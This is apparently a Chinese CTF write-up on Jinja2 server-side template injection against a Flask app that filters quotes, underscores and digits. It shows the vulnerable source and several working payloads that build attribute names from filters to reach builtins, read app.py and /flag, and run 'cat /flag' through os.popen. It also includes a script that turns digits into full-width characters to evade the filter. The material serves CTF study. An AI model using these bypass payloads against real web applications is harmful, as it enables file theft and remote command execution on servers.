Werkzeug/1.0.1Python/3.8.7

    看源码EXP

    1. {%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
    2. {%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
    3. {%set x=(()|select|string|list).pop(num)%}
    4. {%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
    5. {%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
    6. {%set c = dict(chr=a)|join%}
    7. {%set o = dict(o=a,s=a)|join%}
    8. {%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
    9. {%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
    10. {%set file = dict(app=a)|join~chr(numm)~dict(py=a)|join%}
    11. {%print((lipsum|attr(glob)|attr(getitem)(builtins)).open(file).read())%}

    源码

    1. from flask import Flask
    2. from flask import request
    3. from flask import render_template_string
    4. from flask import session
    5. import re
    6. app = Flask(__name__)
    7. @app.route('/')
    8. def app_index():
    9. name = request.args.get('name')
    10. if name:
    11. if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]",name,re.I):
    12. return ':('
    13. template = '''
    14. {%% block body %%}
    15. <div class="center-content error">
    16. <h1>Hello</h1>
    17. <h3>%s</h3>
    18. </div>
    19. {%% endblock %%}
    20. ''' % (request.args.get('name'))
    21. return render_template_string(template)
    22. if __name__=="__main__":
    23. app.run(host='0.0.0.0',port=80)

    过滤了数字,翻了下 web369的 EXP,也就两个地方用到了数字,问题不大。

    翻了下 Jinja2 文档,提供数字的方法还挺多的
    https://jinja.palletsprojects.com/en/2.11.x/templates/#int
    https://jinja.palletsprojects.com/en/2.11.x/templates/#sum
    https://jinja.palletsprojects.com/en/2.11.x/templates/#length
    https://jinja.palletsprojects.com/en/2.11.x/templates/#wordcount
    不过考虑到过滤数字,int 和 sum 应该可以排除

    length 试试,因为用 os 模块执行命令会代码量会大点,这里先直接用 open 读文件

    1. {% set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|length %}
    2. {% set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|length %}
    3. {% set x=(()|select|string|list).pop(num) %}
    4. {% set g=x~x~(dict(globals=x)|join)~x~x %}
    5. {% set ge=x~x~(dict(getitem=x)|join)~x~x %}
    6. {% set b=x~x~(dict(builtins=x)|join)~x~x %}
    7. {% set buin=(lipsum|attr(g)|attr(ge))(b) %}
    8. {% set chr=buin.chr %}
    9. {% set file = chr(numm)~dict(flag=a)|join %}
    10. {% print(buin.open(file).read()) %}

    image.png

    当然也可以用 SSRF 或者其他地方学到的思路,即用全角1、2,或者圆圈1、2之类的
    先把上一题的 EXP 搬过来

    1. {% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
    2. {% set g=x~x~(dict(globals=x)|join)~x~x %}
    3. {% set ge=x~x~(dict(getitem=x)|join)~x~x %}
    4. {% set b=x~x~(dict(builtins=x)|join)~x~x %}
    5. {% set buin=(lipsum|attr(g)|attr(ge))(b) %}
    6. {% set chr=buin.chr %}
    7. {% set o=lipsum|attr(g)|attr(ge)(chr(111)+chr(115)) %}
    8. {% set cmd=chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103) %}
    9. {% print(o.popen(cmd).read()) %}

    转换一下

    1. from urllib.parse import quote
    2. def halfnum2full(half):
    3. full = ''
    4. for ch in half:
    5. if ord(ch) in range(48, 58):
    6. ch = chr(ord(ch) + 0xfee0)
    7. else:
    8. pass
    9. full += ch
    10. return full
    11. raw = """{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
    12. {% set g=x~x~(dict(globals=x)|join)~x~x %}
    13. {% set ge=x~x~(dict(getitem=x)|join)~x~x %}
    14. {% set b=x~x~(dict(builtins=x)|join)~x~x %}
    15. {% set buin=(lipsum|attr(g)|attr(ge))(b) %}
    16. {% set chr=buin.chr %}
    17. {% set o=lipsum|attr(g)|attr(ge)(chr(111)+chr(115)) %}
    18. {% set cmd=chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103) %}
    19. {% print(o.popen(cmd).read()) %}"""
    20. payload = ''
    21. for i in raw:
    22. payload += halfnum2full(i)
    23. print(quote(payload))

    运行脚本输出

    1. %7B%25%20set%20x%3D%28%29%7Cselect%7Cstring%7Clist%7Cattr%28dict%28pop%3D%EF%BC%91%29%7Cjoin%29%28%EF%BC%92%EF%BC%94%29%20%25%7D%0A%7B%25%20set%20g%3Dx~x~%28dict%28globals%3Dx%29%7Cjoin%29~x~x%20%25%7D%0A%7B%25%20set%20ge%3Dx~x~%28dict%28getitem%3Dx%29%7Cjoin%29~x~x%20%25%7D%0A%7B%25%20set%20b%3Dx~x~%28dict%28builtins%3Dx%29%7Cjoin%29~x~x%20%25%7D%0A%7B%25%20set%20buin%3D%28lipsum%7Cattr%28g%29%7Cattr%28ge%29%29%28b%29%20%25%7D%0A%7B%25%20set%20chr%3Dbuin.chr%20%25%7D%0A%7B%25%20set%20o%3Dlipsum%7Cattr%28g%29%7Cattr%28ge%29%28chr%28%EF%BC%91%EF%BC%91%EF%BC%91%29%2Bchr%28%EF%BC%91%EF%BC%91%EF%BC%95%29%29%20%25%7D%0A%7B%25%20set%20cmd%3Dchr%28%EF%BC%99%EF%BC%99%29%2Bchr%28%EF%BC%99%EF%BC%97%29%2Bchr%28%EF%BC%91%EF%BC%91%EF%BC%96%29%2Bchr%28%EF%BC%93%EF%BC%92%29%2Bchr%28%EF%BC%94%EF%BC%97%29%2Bchr%28%EF%BC%91%EF%BC%90%EF%BC%92%29%2Bchr%28%EF%BC%91%EF%BC%90%EF%BC%98%29%2Bchr%28%EF%BC%99%EF%BC%97%29%2Bchr%28%EF%BC%91%EF%BC%90%EF%BC%93%29%20%25%7D%0A%7B%25%20print%28o.popen%28cmd%29.read%28%29%29%20%25%7D

    image.png

    替换所有可见字符为全角的完整版

    1. def half2full(half):
    2. full = ''
    3. for ch in half:
    4. if ord(ch) in range(33, 127):
    5. ch = chr(ord(ch) + 0xfee0)
    6. elif ord(ch) == 32:
    7. ch = chr(0x3000)
    8. else:
    9. pass
    10. full += ch
    11. return full
    12. raw = '0123456789'
    13. t = ''
    14. for i in raw:
    15. t += '\''+half2full(i)+'\','
    16. print(t)